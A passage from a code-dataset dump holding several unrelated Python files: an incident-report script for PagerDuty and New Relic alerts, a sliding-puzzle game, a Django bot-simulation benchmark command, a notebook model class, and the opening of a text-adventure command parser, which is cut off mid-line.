{'created_on': '2015-08-16T10:35:41Z',\n 'html_url': 'https://tango.pagerduty.com/incidents/PV5SRJ3',\n 'incident_key': '/Alert/314108/15935436/4064615',\n 'incident_number': 115941,\n 'last_status_change_by': None,\n 'last_status_change_on': '2015-08-16T10:40:24Z',\n 'status': 'resolved',\n 'trigger_summary_data': {'client': 'New Relic',\n 'client_url': 'https://rpm.newrelic.com/accounts/314108/incidents/15935436',\n 'description': 'Alert open: Error rate '\n '> 5.0% - App: '\n 'Music-Pix-Labs - '\n 'Policy: Music-Pix'}},\n 115942: {'created_on': '2015-08-16T10:52:25Z',\n 'html_url': 'https://tango.pagerduty.com/incidents/PXAIELQ',\n 'incident_key': '/Alert/314108/15935624/4064615',\n 'incident_number': 115942,\n 'last_status_change_by': None,\n 'last_status_change_on': '2015-08-16T11:05:35Z',\n 'status': 'resolved',\n 'trigger_summary_data': {'client': 'New Relic',\n 'client_url': 'https://rpm.newrelic.com/accounts/314108/incidents/15935624',\n 'description': 'Alert open: Error rate '\n '> 5.0% - App: '\n 'Music-Pix-Labs - '\n 'Policy: Music-Pix'}},\n\n\n[[115940], [115948, 115951, 115953], [115954], [115957]]\n\n \"\"\"\n incidents_dict = {}\n incidents_group_dict = {}\n\n for incident in incidents_list:\n # ignore Music-PIX.\n if incident['trigger_summary_data'].get('description'):\n if \"Music-Pix\" in incident['trigger_summary_data']['description']:\n continue\n\n # add incident to dictionary.\n incidents_dict[incident['incident_number']] = incident\n\n # create incidents group dictionary.\n if incident['incident_key'] not in incidents_group_dict:\n incidents_group_dict[incident['incident_key']] = []\n\n incidents_group_dict[incident['incident_key']].append(incident['incident_number'])\n\n # extract list of incidents numbers from incidents_group_dict.\n uniq_incidents_numbers_list = []\n [uniq_incidents_numbers_list.append(inc_num_list) for inc_num_list in incidents_group_dict.values()]\n uniq_incidents_numbers_list = sorted(uniq_incidents_numbers_list, key=lambda x: x[0])\n\n # debug.\n # pp(incidents_dict)\n # pp(uniq_incidents_numbers_list)\n\n return incidents_dict, uniq_incidents_numbers_list\n\n\ndef generate_report_list(incidents_dict, group_incidents):\n\n # result report list.\n report_list = []\n\n # get total number of incidents:\n inc_cntr = 0\n for inc in group_incidents: # element of group_incidents could be a list too.\n if isinstance(inc, list):\n inc_cntr += len(inc)\n else:\n inc_cntr += 1\n\n # REPORT HEADER:\n report_list.append(\"Total number of incidents: {0}\\n\".format(inc_cntr))\n report_list.append(\"Action items for next shift: None\\n\")\n\n # iterate over group_incidents list:\n service_names_dict = {} # this will act like a cache for service name resolver.\n for num, incident_numbers in enumerate(group_incidents, 1):\n\n # one if result report item:\n group_incidents_txt = \",\".join(map(str, incident_numbers)) # list of inc_num to string with \",\" as a delimiter.\n\n # parse details(trigger_summary_data) section:\n trigger_summary_data = incidents_dict[incident_numbers[0]]['trigger_summary_data']\n hostname_txt = \"\"\n servicename_txt = \"\"\n description_txt = \"\"\n for k, v in trigger_summary_data.items():\n if k in [\"subject\"]: # alert from nagios.\n description_txt = v\n elif k in [\"HOSTNAME\"]: # alert from nagios.\n hostname_txt = v\n elif k in [\"description\", \"SERVICEDESC\"]: # alert from NewRelic.\n description_txt = v\n\n # get ecomm hostname.\n new_relic_host = re.search(r'(ip-\\d{1,3}-\\d{1,3}-\\d{1,3}-\\d{1,3})', v)\n hostname_txt = new_relic_host.group(0) if new_relic_host else hostname_txt\n\n # get ecomm service name.\n ecomm_service = re.search(r'(eCommerce-\\w*)', v)\n servicename_txt = ecomm_service.group(0) if ecomm_service else servicename_txt\n\n # try to resolve hostname.\n # hostname could be like \"us0101abs001\" or \"us0101abs001.tangome.gbl\" or \"ip-172-16-148-51\" or None or something else.\n if hostname_txt:\n # hostname_parts = re.search(r'(\\w{2})(\\d{4})(\\w{1,5})(\\d{3}).*', hostname_txt)\n hostname_parts = re.search(r'([a-z]{2})(\\d{4})([a-z]{1,5})(\\d+).*', hostname_txt)\n\n if hostname_parts:\n service_part = hostname_parts.group(3)\n # debug.\n # print(service_part)\n\n\n # try to use cache:\n if service_part in service_names_dict:\n servicename_txt = service_names_dict[service_part]\n # ask resolver:\n else:\n try:\n service_names_dict[service_part] = name_resolver_se.resolve_server_name(service_part)['5Service Type'][0]\n servicename_txt = service_names_dict[service_part]\n except Exception:\n service_names_dict[service_part] = \"\"\n\n # debug.\n # pp(service_names_dict)\n # print(servicename_txt)\n\n # BEGIN PRETTY PRINTING:\n report_list.append(\"-\" * 100)\n report_list.append(\"{0}) Incident(s) number: {1}\".format(num, group_incidents_txt))\n\n # convert UTC to PDT and MSK timezones:\n # report_list.append(\"Opened on: {0}\".format(incidents_dict[incident_numbers[0]]['created_on']))\n created_on_UTC = incidents_dict[incident_numbers[0]]['created_on']\n created_on_PDT = convert_tz(created_on_UTC, 'UTC', 'US/Pacific')\n created_on_MSK = convert_tz(created_on_UTC, 'UTC', 'Europe/Moscow')\n report_list.append(\"Opened on: {1} | {2}\".format(created_on_UTC, created_on_PDT, created_on_MSK))\n\n report_list.append(\"Description: {0}\".format(description_txt))\n\n report_list.append(\"Host: {0}\".format(hostname_txt))\n report_list.append(\"Service: {0}\".format(servicename_txt))\n\n report_list.append(\"Status: {0}\".format(incidents_dict[incident_numbers[0]]['status']))\n\n # last_status_change_by = incidents_dict[incident_numbers[0]]['last_status_change_by']['name'] if incidents_dict[incident_numbers[0]]['last_status_change_by'] else 'auto'\n # report_list.append(\"Last status changed by: {0}\".format(last_status_change_by))\n # report_list.append(\"Last status changed on: {0}\".format(incidents_dict[incident_numbers[0]]['last_status_change_on']))\n # report_list.append(\"Details:\")\n\n report_list.append(\"PD link: {0}\".format(incidents_dict[incident_numbers[0]]['html_url']))\n\n report_list.append('Details: None')\n report_list.append('Ticket number: None')\n report_list.append('Next actions: None')\n\n report_list.append(\"-\" * 100)\n\n return report_list\n\n\ndef get_report(time_since, time_until, from_tz):\n incidents_obj = get_incidents(time_since, time_until, from_tz)\n incidents_list = incidents_obj['incidents']\n incidents_dict, group_incidents = make_incidents_dict(incidents_list)\n report_list = generate_report_list(incidents_dict, group_incidents)\n return report_list\n\n\ndef convert_tz(input_date, from_tz, to_tz='UTC'):\n\n # time validation:\n fmt_wo_tz = \"%Y-%m-%d %H:%M:%S\"\n # fmt_with_tz = \"%Y-%m-%d %H:%M:%S%Z%z\"\n fmt_with_tz = \"%Y-%m-%d %H:%M:%S%Z\"\n date_fmt_re = re.compile(r'(\\d{4}-\\d{2}-\\d{2}).(\\d{2}:\\d{2}:\\d{2})')\n\n input_date_re = date_fmt_re.match(input_date)\n if input_date_re:\n input_date_re = input_date_re.group(1) + \" \" + input_date_re.group(2) # 2015-08-31T16:06:37Z -> 2015-08-31 16:06:37\n\n # parse time:\n input_date_re_wo_tz = datetime.strptime(input_date_re, fmt_wo_tz)\n\n # add timezone info:\n input_date_re_with_tz = timezone(from_tz).localize(input_date_re_wo_tz)\n\n # convert input time to UTC time:\n input_date_re_UTC_tz = input_date_re_with_tz.astimezone(timezone(to_tz))\n\n # debug:\n # print(input_date_re_with_tz.strftime(fmt_with_tz), \"->\", input_date_re_UTC_tz.strftime(fmt_with_tz))\n\n return(input_date_re_UTC_tz.strftime(fmt_with_tz))\n\n\ndef main():\n\n # time_since = '2015-08-26 05:00:00Z'\n # time_until = '2015-08-26 18:00:00Z'\n\n # input parameters:\n time_since = '2015-09-02 07:00:00'\n time_until = '2015-09-02 21:00:00'\n from_tz = 'Europe/Moscow'\n\n for line in get_report(time_since, time_until, from_tz):\n print(line)\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"MAS150MD200/Tango_Assistant_Server","sub_path":"project/pd_reports.py","file_name":"pd_reports.py","file_ext":"py","file_size_in_byte":14887,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"27"} +{"seq_id":"42989549587","text":"from Stack import Stack\nfrom random import choice\nfrom copy import deepcopy\n\n\nclass Taquin2:\n\n PATH = Stack()\n ABANDON = False\n\n def __init__(self, size):\n self.__size = size\n self.__empty_square = size ** 2\n frame = [i for i in range(1, size**2+1)]\n self.__frame = frame\n self.__original_frame = self.__frame # pour garder en mémoire le frame original en cas d'abandon, pour montrer\n # au joueur ayant abandonné quelle pouvait être la résolution du taquin.\n self.__to_print = len(str(size // 100))\n\n def is_valid_move(self, move):\n new_taq = self.MOVES[move](self)\n return new_taq != self.__frame\n\n def get_frame(self):\n return self.__frame\n\n def up(self):\n index_empty_square = self.index_empty_square()\n if index_empty_square - self.__size < 0:\n return self.__frame\n else:\n new_frame = deepcopy(self.__frame)\n new_frame[index_empty_square], new_frame[index_empty_square - self.__size] = \\\n new_frame[index_empty_square - self.__size], new_frame[index_empty_square]\n return new_frame\n\n def down(self):\n index_empty_square = self.index_empty_square()\n if index_empty_square + self.__size > self.__empty_square - 1:\n return self.__frame\n else:\n new_frame = deepcopy(self.__frame)\n new_frame[index_empty_square], new_frame[index_empty_square + self.__size] = \\\n new_frame[index_empty_square + self.__size], new_frame[index_empty_square]\n return new_frame\n\n def right(self):\n index_empty_square = self.index_empty_square()\n if (index_empty_square + 1) % self.__size == 0:\n return self.__frame\n else:\n new_frame = deepcopy(self.__frame)\n new_frame[index_empty_square], new_frame[index_empty_square + 1] = \\\n new_frame[index_empty_square + 1], new_frame[index_empty_square]\n return new_frame\n\n def left(self):\n index_empty_square = self.index_empty_square()\n if (index_empty_square - 1) % self.__size - 1 == 0:\n return self.__frame\n else:\n new_frame = deepcopy(self.__frame)\n new_frame[index_empty_square], new_frame[index_empty_square - 1] = \\\n new_frame[index_empty_square - 1], new_frame[index_empty_square]\n return new_frame\n\n def get_size(self):\n return self.__size\n\n def index_empty_square(self):\n return self.__frame.index(self.__empty_square)\n\n def set_frame(self, frame_taquin):\n self.__frame = frame_taquin\n\n def set_original_frame(self, frame_taquin):\n self.__original_frame = frame_taquin\n\n def is_solved(self):\n return self.__frame == [i for i in range(1, self.__empty_square + 1)]\n\n def solve_abandoned_taquin(self):\n print(\"This is how the taquin could have been solved, from the configuration in which it was before you played\"\n \" your first move :\\n\")\n print(\"Original frame of the taquin you tried to solve :\\n\")\n print(self.__original_frame, \"\\n\")\n self.__frame = self.__original_frame\n solution_moves = \"\"\n while not self.PATH.is_empty():\n print(self)\n move = self.PATH.pop()\n solution_moves += move\n self.__frame = self.MOVES2[move](self)\n print(self)\n print(\"This was a way to solve the taquin you were offered to complete.\")\n print(\"Here is the list of the moves to play to achieve this taquin according to the solution which has just\"\n \" been displayed :\")\n print(solution_moves)\n\n def __str__(self):\n line = (\"+----\" + \"-\" * self.__to_print) * self.__size + \"+\"\n taq_to_print = \"\"\n i = self.__size\n while i <= self.__size ** 2:\n taq_to_print += line\n line_game = \"\"\n for j in range(self.__size):\n if self.__frame[i - self.__size:i][j] == self.__size ** 2:\n nb = \"|\" + \" \" * (self.__to_print + 4)\n else:\n nb = \"|\" + str(self.__frame[i - self.__size:i][j]).center(self.__to_print + 4)\n line_game += nb\n line_game += \"|\"\n taq_to_print += \"\\n\" + line_game + \"\\n\"\n i += self.__size\n taq_to_print += line\n taq_to_print += \"\\n\"\n return taq_to_print\n\n def read_move(self):\n list_coups = list(self.MOVES.keys())\n if \"A\" in list_coups:\n return \"A\"\n else:\n coup = choice(list_coups)\n return coup\n\n @staticmethod\n def create_taquin(size):\n taquin = Taquin2(size)\n shuffle_frame(taquin)\n return taquin, taquin.PATH\n\n MOVES = {'U': up, 'D': down, 'L': left, 'R': right}\n MOVES2 = {'U': down, 'D': up, 'L': right, 'R': left} # Ici on inverse pour avoir la bonne combinaison quand on\n # dépile.\n\n\ndef abandon(taquin):\n taquin.MOVES[\"A\"] = Taquin2.solve_abandoned_taquin\n taquin.ABANDON = True\n\n\ndef shuffle_frame(taquin):\n for i in range(taquin.get_size() ** 2 + 1):\n move = taquin.read_move()\n if taquin.is_valid_move(move):\n taquin.PATH.push(move)\n taquin.set_frame(taquin.MOVES[move](taquin))\n taquin.set_original_frame(deepcopy(taquin.get_frame()))\n\n\ndef play_taquin2(size):\n taq, winning_structure = Taquin2.create_taquin(size)\n print(taq)\n i = 0\n while not taq.is_solved():\n if i > 1000:\n print(\"Attempt to solve the taquin failed... Try again.\")\n break\n else:\n i += 1\n if i == 100:\n abandon(taq)\n move = taq.read_move()\n taq.set_frame(taq.MOVES[move](taq))\n if not taq.ABANDON:\n print(taq)\n else:\n break\n\n if i <= 1000 and not taq.ABANDON:\n print(\"Turn number {}\".format(str(i)))\n print(\"Puzzled solved, bitch !\")\n\n\n\n","repo_name":"BeauGeogeo/AP2-Annales","sub_path":"DS2/DS2_2015_2016/Taquin2.py","file_name":"Taquin2.py","file_ext":"py","file_size_in_byte":6060,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"27"} +{"seq_id":"22296625139","text":"from builtins import range\nfrom django.core.management.base import BaseCommand, CommandError\n#from unsccore.models import World, Box\nfrom unsccore.things.thing import Thing, ThingParentError\nfrom unsccore.things.world import World\nfrom unsccore import mogels\nfrom unsccore.api_client import API_Client, UnscriptedApiError\nimport time\nfrom unsccore.engine import WorldEngine\nfrom random import random\nfrom time import sleep\nimport asyncio\nfrom concurrent.futures import ThreadPoolExecutor\nfrom django.conf import settings\nfrom unsccore.dbackends.utils import scall, pr\n\nclass Command(BaseCommand):\n help = 'Unscripted core management commands'\n\n def add_arguments(self, parser):\n parser.add_argument('worldid', metavar='worldid', nargs=1, type=str)\n parser.add_argument('case', metavar='case', nargs=1, type=str)\n parser.add_argument('--cycles', nargs='?', type=int)\n parser.add_argument('--stop', action='store_true')\n\n def handle(self, *args, **options):\n self.api = API_Client()\n\n self.options = options\n\n worldid = options['worldid'][0]\n\n print('World %s' % worldid)\n\n case = options['case'][0]\n\n found = 0\n\n if case == 'conn':\n self.conn()\n found = 1\n\n if case == 'dict':\n found = 1\n self.dict_test()\n\n if case == 'api':\n api = API_Client()\n res = api.get_things()\n\n print(res)\n\n found = 1\n\n if case == 'pactions':\n self.pactions(worldid)\n found = 1\n\n if case == 'repop_fitness':\n self.repop(worldid, [20, 1, 20])\n found = 1\n\n if case == 'repop':\n self.repop(worldid)\n found = 1\n\n if case == 'repop_well':\n self.repop_well(worldid)\n found = 1\n\n if case == 'simulate':\n self.simulate(worldid)\n found = 1\n\n if not found:\n print('ERROR: Test case not found (%s)' % case)\n\n print('done')\n\n def repop(self, worldid, bot_dims=None):\n # delete children\n print('Empty the world')\n\n if worldid == 'any':\n world = scall(self.api.first(module='world'))\n else:\n world = scall(self.api.first(id=worldid))\n\n if world is None:\n print('ERROR: world not found')\n return\n\n worldid = world['id']\n\n for thing in scall(self.api.find(rootid=worldid)):\n if thing['id'] != worldid:\n scall(self.api.delete(id=thing['id']))\n\n female = 1\n # while True:\n for i in range(10):\n try:\n scall(self.api.create(\n module='bot',\n parentid=worldid,\n female=female,\n rootid=worldid))\n except UnscriptedApiError:\n break\n female = 1 - female\n\n return worldid\n\n def repop_well(self, worldid):\n #world.set_dims([10, 10, 10])\n # world.save()\n worldid = self.repop(worldid)\n\n for i in range(0, 2):\n scall(self.api.create(module='well', parentid=worldid, rootid=worldid))\n\n def start_new_cycle(self, cycle):\n cycle += 1\n cycle_window = 10\n if cycle % cycle_window == 0:\n if cycle > 0:\n self.t1 = time.time()\n\n elapsed = self.t1 - self.t0\n speed = cycle_window / elapsed\n # For the server side to support 100 bots to act in real time\n walking_step_duration = 0.6\n target_population = 100\n # compress 4M years of evolution in 40000 years\n target_speed_ratio = 100\n target_speed = (1.0 / walking_step_duration) * \\\n target_population * target_speed_ratio\n pr('%.2fs cycles/s (%.2f x slower). %d cycles in %.2f s' % (speed, target_speed / speed, cycle_window, elapsed))\n\n# world.perf = {\n# 'cycle_per_second': speed,\n# 'speed_ratio': target_speed / speed,\n# }\n\n self.bins[int(speed)] = self.bins.get(int(speed), 0) + 1\n\n self.t0 = time.time()\n \n\n return cycle\n\n def pactions(self, worldid):\n\n# for t in Thing.objects.all():\n# t.delete()\n\n engine = WorldEngine()\n\n if worldid == 'any':\n world = Thing.objects.filter(module='world').first()\n elif worldid == 'new':\n world = World()\n world.save()\n else:\n world = Thing.objects.get(pk=worldid)\n\n abot = Thing.objects.filter(module='bot', rootid=world.pk).first()\n\n print(abot.pos)\n\n limit = self.options.get('cycles') or 10\n\n if abot:\n print('bot %s %s' % (abot.pk, abot.name))\n for i in range(limit):\n #pr(i)\n engine.action(\n targetid=world.pk,\n action='walk',\n actorid=abot.pk,\n angle=random())\n\n def simulate_old(self, worldid):\n import uvloop\n asyncio.set_event_loop_policy(uvloop.EventLoopPolicy())\n self.bins = {}\n\n if worldid == 'any':\n worldid = scall(self.api.first(module='world'))['id']\n print('World %s' % worldid)\n\n limit = self.options.get('cycles')\n\n cycle = -1\n\n self.bots = {}\n\n t0 = time.time()\n \n bots_found = False\n \n while True:\n cycle = self.start_new_cycle(cycle)\n\n if limit is not None and cycle >= limit:\n break\n\n pr('Cycle: %s' % cycle)\n \n if 1 or not bots_found:\n #print('HERE')\n botids = sorted(\n [t['id'] for t in scall(self.api.find(module='bot', rootid=worldid))])\n\n if not botids:\n break\n\n # TODO: remove dead bots from \n bots_found = self.run_cycle(botids)\n \n # world.end_cycle()\n # time.sleep(0.1)\n\n t1 = time.time()\n \n for speed in sorted(self.bins.keys()):\n print('%s, %s' % (speed, self.bins[speed]))\n\n print('%s reqs./s.' % int(limit / (t1 - t0) * 11))\n\n if self.options.get('stop'):\n self.api.stop()\n \n def simulate(self, worldid):\n import uvloop\n asyncio.set_event_loop_policy(uvloop.EventLoopPolicy())\n self.bins = {}\n\n if worldid == 'any':\n worldid = scall(self.api.first(module='world'))['id']\n print('World %s' % worldid)\n\n limit = self.options.get('cycles')\n\n cycle = -1\n\n self.bots = {}\n\n t0 = time.time()\n \n bots_found = False\n \n botids = sorted(\n [t['id'] for t in scall(self.api.find(module='bot', rootid=worldid))])\n\n min_cycle = 0\n bots_cycle = {bid: 0 for bid in botids}\n \n async def run_bot(botid, max_cycles=0):\n nonlocal min_cycle, bots_cycle\n from unscbot.models import Bot\n bot = Bot(botid)\n for i in range(max_cycles):\n bots_cycle[botid] = i\n await asyncio.sleep(0)\n await bot.select_and_call_action()\n \n if min(bots_cycle.values()) > min_cycle:\n min_cycle = min(bots_cycle.values())\n #print(bots_cycle.values())\n #print(min_cycle)\n self.start_new_cycle(min_cycle)\n \n self.start_new_cycle(-1)\n\n futures = [\n run_bot(t['id'], limit) \n for t \n in scall(self.api.find(module='bot', rootid=worldid))\n ]\n \n loop = asyncio.get_event_loop()\n loop.run_until_complete(asyncio.gather(*futures))\n\n t1 = time.time()\n \n for speed in sorted(self.bins.keys()):\n print('%s, %s' % (speed, self.bins[speed]))\n\n print('%s reqs./s.' % int(limit / (t1 - t0) * 11))\n\n if self.options.get('stop'):\n self.api.stop()\n \n def run_cycle(self, botids):\n ret = True\n futures = []\n \n from unscbot.models import Bot\n for botid in botids:\n bot = self.bots.get(botid, None)\n if bot is None:\n self.bots[botid] = bot = Bot(botid)\n bot.initialise()\n if settings.UNSCRIPTED_REQUEST_ASYNC:\n futures.append(bot.select_and_call_action())\n else:\n scall(bot.select_and_call_action())\n \n loop = asyncio.get_event_loop()\n #loop.set_default_executor(ThreadPoolExecutor(1000))\n loop.run_until_complete(asyncio.gather(*futures))\n \n return ret\n \n def conn(self):\n t0 = time.time()\n\n cycles = self.options.get('cycles')\n\n o = 0\n for i in range(cycles):\n # print i\n r = scall(self.api.send_request('', i=i))\n # sleep(0.00001)\n\n t1 = time.time()\n\n print('%s reqs./s.' % int(cycles / (t1 - t0)))\n \n def dict_test(self):\n from copy import deepcopy\n import timeit\n import ujson\n import json\n import _pickle as cPickle\n \n d = {'filters': {'f1': 'v1', 'f2': 'v2'}, 'order': ['a', 'b', 'c']}\n n = 10000\n \n # 0.8891989569965517\n def dcopy(ad):\n return deepcopy(ad)\n\n # 0.7031558419985231\n def dcopy2(ad):\n return json.loads(json.dumps(ad))\n\n # 0.182470692001516\n def dcopy3(ad):\n return ujson.loads(ujson.dumps(ad))\n\n # 0.09214928100118414\n def dcopy4(ad):\n return {\n 'filters': {k:v for k,v in ad['filters'].items()},\n 'order': [v for v in ad['order']]\n }\n\n # 0.21678370899462607\n def dcopy5(ad):\n return cPickle.loads(cPickle.dumps(ad))\n\n # 0.11...\n def dcopy6(ad):\n return dcopy4(ad)\n\n #print(timeit.timeit('d2 = dcopy(d)', globals=locals(), number=100000))\n #print(timeit.timeit('d2 = dcopy2(d)', globals=locals(), number=100000))\n #print(timeit.timeit('d2 = dcopy3(d)', globals=locals(), number=100000))\n #print(timeit.timeit('d2 = dcopy4(d)', globals=locals(), number=100000))\n print(timeit.timeit('d2 = dcopy6(d)', globals=locals(), number=100000))\n \n print(dcopy6(d))\n ","repo_name":"gnitr/unscripted","sub_path":"unsccore/management/commands/utest.py","file_name":"utest.py","file_ext":"py","file_size_in_byte":10685,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"27"} +{"seq_id":"37550711300","text":"# -*- coding: utf-8 -*-\n# 笔记本\nimport typing as t\n\n\nclass Notebook(object):\n \"\"\"\n 笔记本\n \"\"\"\n\n @classmethod\n def fromDict(cls, notebook: t.Dict[str, t.Union[str, int]]) -> 'Notebook':\n return cls(\n id=notebook['id'],\n icon=notebook['icon'],\n name=notebook['name'],\n sort=notebook['sort'],\n closed=notebook['closed'],\n )\n\n def __init__(\n self,\n id: str,\n icon: str,\n name: str,\n sort: int,\n closed: bool,\n ):\n self.id = id # 笔记本 ID\n self.icon = icon # 笔记本图标\n self.name = name # 笔记本名称\n self.sort = sort # 笔记本排序\n self.closed = closed # 笔记本是否关闭\n\n def __dict__(self) -> t.Dict[str, t.Union[str, int, bool]]:\n return {\n 'id': self.id,\n 'icon': self.icon,\n 'name': self.name,\n 'sort': self.sort,\n 'closed': self.closed,\n }\n\n\nclass Notebooks(object):\n \"\"\"\n 笔记本列表\n \"\"\"\n\n @classmethod\n def fromList(cls, notebooks: t.List[t.Dict[str, t.Union[str, int]]]) -> 'Notebooks':\n \"\"\" 从列表创建笔记本列表 \"\"\"\n return cls(\n notebooks=list(map(Notebook.fromDict, notebooks))\n )\n\n def __init__(self, notebooks: t.List[Notebook] = []):\n notebooks.sort(key=lambda n: n.sort)\n self.notebooks = notebooks\n self._map = {n.id: n for n in notebooks}\n\n def __dict__(self) -> t.List[t.Dict[str, t.Union[str, int, bool]]]:\n return list(map(lambda n: n.__dict__(), self.notebooks))\n\n def id2name(self, id: str) -> t.Optional[str]:\n notebook = self._map.get(id)\n return notebook.name\n\n def isNotebookID(self, id: str) -> bool:\n if id in self._map:\n return False if self._map[id].closed else True\n else:\n return False\n","repo_name":"Zuoqiu-Yingyi/siyuan-NLP-FTS","sub_path":"src/pkg/notebook.py","file_name":"notebook.py","file_ext":"py","file_size_in_byte":1944,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"27"} +{"seq_id":"23785599420","text":"#!/usr/bin/python3\n# -*- coding: utf-8 -*-\n\nfrom header import *\n\nclass Action:\n\t\n\tdef __init__(self, chaine):\n\t\tself.copy = chaine\n\t\tself.chaine = chaine.lower().strip().split()\n\t\tself.difficulty = len(self.chaine)\n\t\tself.meaning = \"\"\n\t\tself.COD = \"\"\n\t\tself.useless_list=[\"a\", \"the\", \"to\", \"at\"]\n\t\tself.connectors_list=[\"in\", \"on\", \"with\", \"under\"]\n\t\t\n\t\tself.verb = \"\"\n\t\tself.connectors = []\n\t\tself.CODs = []\n\t\t\n\t\n\tdef IdWords(self):\n\t\t\"\"\"identify the verb, objects and connectors in the request\"\"\"\n\t\t#print(\"DEBUG:\", self.chaine)\n\t\tself.verb = self.chaine[0]\n\t\ti=1\n\t\ttmp = []\n\t\twhile i < len(self.chaine):\n\t\t\tif self.chaine[i] not in self.connectors_list:\n\t\t\t\ttmp.append(self.chaine[i])\n\t\t\telse:\n\t\t\t\tself.CODs.append(tmp)\n\t\t\t\tself.connectors.append(self.chaine[i])\n\t\t\t\ttmp = []\n\t\t\ti+=1\n\t\tif tmp != []:\n\t\t\tself.CODs.append(tmp)\n\t\tfor i, cod in enumerate(self.CODs):\n\t\t\ttmp = \"\"\n\t\t\tfor j, w in enumerate(cod):\n\t\t\t\ttmp += w + \" \" \n\t\t\tself.CODs[i] = tmp.strip()\n\t\t\n\t\t\n\t\n\tdef Verify(self):\n\n##VERIFY IF VERB EXIST. IF YES, TAKE THE DEFAULT WRITING (e.g: l -> look)\n\t\tverified = False\n\t\terror=\"\"\n\t\ti=0\n\t\twhile i < len(VERBS) and verified is False:\n\t\t\tif self.verb in VERBS[i].names:\n\t\t\t\tverified = True\n\t\t\t\tself.verb = VERBS[i]\n\t\t\ti+=1\n\t\tfor d in DIRECTIONS_LIST: #if verb is a direction -> verb = go, cod=direction\n\t\t\tif self.verb in d:\n\t\t\t\tverified = True\n\t\t\t\tself.CODs.append(d[0])\n\t\t\t\tself.verb = Verb([\"go\", \"g\"], 1)\n\t\t\t\t\n\t\tif verified is False:\n\t\t\terror=\"verb doesn't exist\"\n\t\t\treturn (verified, error)\t\n\t\t\n\t\tif self.verb == \"inventory\" and len(self.CODs) == 0 and len(self.connectors) == 0:\n\t\t\treturn True, \"\"\n\t\t\n## VERIFY IF DIRECTION EXIST, IF YES TAKE THE DEFAULT WRITING (e.g: n -> north)\n\t\tif self.verb == \"go\":\n\t\t\tif len(self.CODs) == 0:\n\t\t\t\treturn False, \"No direction\"\n\t\t\tverified = False\n\t\t\tif len(self.CODs) == 1:\n\t\t\t\tfor i, d in enumerate(DIRECTIONS_LIST):\n\t\t\t\t\tif self.CODs[0] in d and d[0] in PERSO.room.exits_position :\n\t\t\t\t\t\tverified = True\n\t\t\t\t\t\tself.CODs[0] = d[0]\n\t\t\t\t\t\t\n\t\t\t\tif verified is False:\n\t\t\t\t\terror=\"direction doesn't exist\"\n\t\t\t\t\treturn verified, error\n\t\t\t\tex = PERSO.room.GetExitFromDirection(self.CODs[0])\n\t\t\t\tif(ex.state == \"closed\"):\n\t\t\t\t\tverified = False\n\t\t\t\t\tfor k in ex.keys:\n\t\t\t\t\t\tif(k in PERSO.inventory):\n\t\t\t\t\t\t\tverified = True\n\t\t\t\t\t\t\tPERSO.room.GetExitFromDirection(self.CODs[0]).SetState(\"open\")\n\t\t\t\t\t\t\tprint(\"You unlock this exit ({0}) with a key ({1})!\".format(ex.name, k.name))\n\t\t\t\t\t\t\tbreak\n\t\t\t\tif verified is False:\n\t\t\t\t\treturn verified, \"Exit is closed and you don't have a key...\"\n\t\t\t\t\n\t\t\t\treturn True, \"\"\n\t\t\t\t\n##VERIFY THERE IS THE GOOD NUMBER OF CODs FOR THE VERB\n\t\tif len(self.CODs) not in self.verb.nb_obj:\n\t\t\treturn False, \"Wrong number of CODs for this verb, expected: \" + str(self.verb.nb_obj) + \", received: \" + str(len(self.CODs))\n\t\t\t\t\n\t\t\t\t\n## VERIFY IF LOOK IS USED WITHOUT COD\n\t\tif self.verb.name == \"look\" and len(self.CODs) == 0:\n\t\t\tself.CODs.append(PERSO.room)\n\n\t\t\n\t\tif len(self.CODs) > 0:\n\t\t\t\n## VERIFY IF ALL OBJECTS ARE REACHABLE\n\t\t\tfor i, cod in enumerate(self.CODs):\n\t\t\t\tif(cod != \"\"):\n\t\t\t\t\tplace = self.FindReachableObject(cod)\n\t\t\t\t\t#print(\"PLACE:\", place)\n\t\t\t\t\tif place is not False:\n\t\t\t\t\t\tif type(place) == type(str()) and place == PERSO.room.name:\n\t\t\t\t\t\t\tself.CODs[i] = ROOMD[PERSO.room.name]\n\t\t\t\t\t\telse:\n\t\t\t\t\t\t\t#print(place.inventory)\n\t\t\t\t\t\t\tfor j, obj in enumerate(place.inventory):\n\t\t\t\t\t\t\t\tif cod == obj:\n\t\t\t\t\t\t\t\t\tself.CODs[i] = place.inventory[j]\n\t\t\t\t\t\t\t\t\t#print(\"CODs[i]\", self.CODs[i])\n\t\t\t\t\telse:\n\t\t\t\t\t\treturn False, \"Object not reachable\"\n\t\t\t\t\t\n\t\t\t\t\tif self.CODs[i].state == \"hidden\":\n\t\t\t\t\t\treturn False, \"Object reachable but hidden. You little cheater!\"\n\t\t\t\n\t\t\t#print(\"CODs:\", self.CODs)\n\t\t\t\n## VERIFY IF ALL OBJECTS (CODs) EXIST AS OBJECTS OR ROOMS, IF YES: TAKE THE DEFAULT WRITING (e.g: l -> look)\n\t\t\t#verified = False\n\t\t\t#for i, cod in enumerate(self.CODs):\n\t\t\t\t#for k in OBJD.keys():\n\t\t\t\t\t#if cod in OBJD[k].names:\n\t\t\t\t\t\t#verified = True\n\t\t\t\t\t\t#self.CODs[i] = OBJD[k]\n\t\t\t\t\t\t#break\n\t\t\t\t#if cod == \"room\":\n\t\t\t\t\t#verified = True\n\t\t\t\t\t#self.CODs[i] = PERSO.room\n\t\t\t\t#else:\n\t\t\t\t\t#for k in ROOMD.keys():\n\t\t\t\t\t\t#if cod in ROOMD[k].names:\n\t\t\t\t\t\t\t#verified = True\n\t\t\t\t\t\t\t#self.CODs[i] = ROOMD[k]\n\t\t\t\t\t\t\t#break\n\t\t\t#if verified is False:\n\t\t\t\t#return False, \"COD neither room nor object\"\n\n\n\n##################################################################################################################################\n###\t\t\tFROM NOW ON, self.CODs[i] IS THE OF Object TYPE, NOT STRING, EXCEPT IF THERE IS A HOLE BEFORE A CONNECTOR\n##################################################################################################################################\n\n\n## VERIFY IF COD IS IN THE RIGHT PLACE TO BE USED (e.g. : \"IN_ROOM\" FOR \"TAKE\", OR \"IN_INVENTORY\" FOR \"DROP\")\n\t\t\tif self.verb.pos_obj_condition == \"not_in_inventory\" and self.CODs[0].name in 